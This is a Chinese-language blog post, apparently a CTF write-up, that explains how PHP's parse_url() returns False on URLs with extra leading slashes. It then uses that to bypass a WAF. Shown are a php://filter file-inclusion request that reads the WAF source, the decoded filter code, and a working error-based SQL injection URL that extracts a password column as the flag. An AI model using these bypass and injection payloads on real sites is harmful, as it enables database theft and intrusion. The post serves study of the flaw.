C1imber's Blog

php parse_url()函数的漏洞

字数统计: 630阅读时长: 2 min
2018/05/13 Share

php parse_url()函数的漏洞

在ctf比赛中经常遇到的一个知识点,记录一下,由于parse_url函数在解析url时存在的bug导致在某些情况下可以绕过正则的过滤

来看代码

<?php
$url=parse_url($_SERVER['REQUEST_URI']);
parse_str($url['query'],$query);
var_dump($query); 
?>

访问url:http://127.0.0.1/info/parseurl.php?sql=select

mark
这里会是url中正常的参数值

如果访问url:http://127.0.0.1///info/parseurl.php?sql=select
mark
这时将不能正常返回url中的参数值,遇到这样格式的连接,parse_url函数将会返回False,这种情况下可能会绕过某些waf的过滤

来看一道ctf题

http://118.126.113.78/web1/?id=1

已经确定id参数存在过滤,fuzz了一下,大概过滤了and,select,union,from等sql关键字,导致union注入和报错注入都失败,根据页面源代码的提示我们可以利用php伪协议读取出页面源代码看看它究竟是怎么样过滤的
mark
利用php伪协议文件包含读取waf.php的源代码

http://118.126.113.78/web1/?file=php://filter/convert.base64-encode/resource=waf.php

mark

PD9waHANCmVycm9yX3JlcG9ydGluZygwKTsNCiRfR0VUPUFkZF9TKCRfR0VUKTsNCiRfUE9TVD1BZGRfUygkX1BPU1QpOw0KJF9DT09LSUU9QWRkX1MoJF9DT09LSUUpOw0KJF9SRVFVRVNUPUFkZF9TKCRfUkVRVUVTVCk7DQpmdW5jdGlvbiBBZGRfUygkYXJyYXkpDQp7DQpmb3JlYWNoKCRhcnJheSBhcyAka2V5PT4kdmFsdWUpew0KICAgICAgICAgICAgICAgIGlmKCFpc19hcnJheSgkdmFsdWUpKXsNCiAgICAgICAgICAgICAgICAgICAgICAgICRjaGVjaz0gcHJlZ19tYXRjaCgnL3JlZ2V4cHxhbmR8bGlrZXxcInwlfGluc2VydHx1cGRhdGV8ZGVsZXRlfHVuaW9ufGludG98bG9hZF9maWxlfG91dGZpbGV8XC9cKi9pJywgJHZhbHVlKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRjaGVjaykNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBleGl0KCJIYWNrZXIhIik7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgfWVsc2V7DQogICAgICAgICAgICAgICAgICAgICAgICAkYXJyYXlbJGtleV09QWRkX1MoJGFycmF5WyRrZXldKTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgIH0NCnJldHVybiAkYXJyYXk7DQp9DQoNCmZ1bmN0aW9uIE1lYXN1cmVtZW50X3VybCgpDQp7DQogICAgJHVybD1wYXJzZV91cmwoJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10pOw0KICAgIHBhcnNlX3N0cigkdXJsWydxdWVyeSddLCRxdWVyeSk7DQogICAgJEtleXdvcmQ9YXJyYXkoImZyb20iLCJzZWxlY3QiLCJsaWtlIiwib3IiKTsNCiAgICBmb3JlYWNoKCRxdWVyeSBhcyAka2V5KQ0KICB7DQogICAgICAgIGZvcmVhY2goJEtleXdvcmQgYXMgJHZhbHVlKQ0KICAgICAgICB7DQogICAgICAgICAgICBpZihwcmVnX21hdGNoKCIvIi4kdmFsdWUuIi8iLHN0cnRvbG93ZXIoJGtleSkpKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgIGRpZSgiZnVjayB1ISIpOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KfQ0KPz4NCg==

base64解码后

<?php
error_reporting(0);
$_GET=Add_S($_GET);
$_POST=Add_S($_POST);
$_COOKIE=Add_S($_COOKIE);
$_REQUEST=Add_S($_REQUEST);
function Add_S($array)
{
foreach($array as $key=>$value){
            if(!is_array($value)){
                    $check= preg_match('/regexp|and|like|\"|%|insert|update|delete|union|into|load_file|outfile|\/\*/i', $value);
                    if($check)
                            {
                            exit("Hacker!");
                    }
            }else{
                    $array[$key]=Add_S($array[$key]);
            }
    }
return $array;
}

function Measurement_url()
{
    $url=parse_url($_SERVER['REQUEST_URI']);
    parse_str($url['query'],$query);
    $Keyword=array("from","select","like","or");
    foreach($query as $key)
    {
    foreach($Keyword as $value)
    {
        if(preg_match("/".$value."/",strtolower($key)))
        {
            die("fuck u!");
        }
    }
}
}
?>

可以看到其实是写了两个函数分别过滤的,其中ADD_S函数确实是将其里面定义的黑名单sql关键字过滤死了,但是Measurement_url函数中接收url参数值确是通过的parse_url这个函数,之前文章开头也讲到了,使用这个函数取url参数时,会因为url的格式出现一些问题导致该函数返回Flase而绕过过滤,所以我们确定了真正被过滤的关键字只有ADD_S中的那些关键字,而单单过滤这些关键字是不够的,这样我们便通过parse_url函数的漏洞去绕过黑名单的检查,最终读取flag的payload

http://118.126.113.78///web1/?id=1' ^ 1=extractvalue(1,concat(0x3a,(select password from sql_inject1 limit 3,1),0x3a))--+

(对select,from的过滤就可以通过parse_url这个函数的漏洞绕过)
mark

XPATH syntax error: ':flag{WE_ARe_FaMiLy!1234567}:'
CATALOG
  1. 1. php parse_url()函数的漏洞